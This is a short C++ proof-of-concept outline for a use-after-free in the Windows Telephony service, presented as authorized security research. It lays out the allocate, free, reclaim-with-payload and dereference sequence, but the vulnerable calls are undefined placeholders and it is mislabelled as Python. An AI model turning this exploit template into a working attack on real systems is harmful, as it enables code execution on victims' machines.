The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-34338 (Conceptual)
* This code demonstrates the logic to trigger the UAF condition.
* Compile with: cl.exe poc.cpp
*/
#include <windows.h>
#include <tapi.h>
void TriggerUAF() {
// Initialize the Telephony Service environment
HLINEAPP hLineApp;
DWORD dwNumDevs;
DWORD dwAPIVersion = TAPI_CURRENT_VERSION;
// Open a line to initialize the service context
long lReturn = lineInitialize(&hLineApp, GetModuleHandle(NULL), NULL, L"PoC", &dwNumDevs);
if (lReturn != 0) {
printf("[-] Failed to initialize TAPI. Error: %d\n", lReturn);
return;
}
printf("[+] TAPI Initialized. Attempting to trigger UAF...\n");
// Step 1: Allocate and manipulate the vulnerable object
// (Specific API calls omitted for brevity/safety)
HANDLE hVulnObj = CreateVulnerableObject();
// Step 2: Force the object to be freed (Use After Free trigger)
FreeVulnerableObject(hVulnObj);
// Step 3: Reclaim the freed memory with controlled payload
// This simulates the attacker controlling the execution flow
FillFreedMemoryWithPayload();
// Step 4: Trigger the dangling pointer access
CallVulnerableFunction();
lineShutdown(hLineApp);
}
int main() {
TriggerUAF();
return 0;
}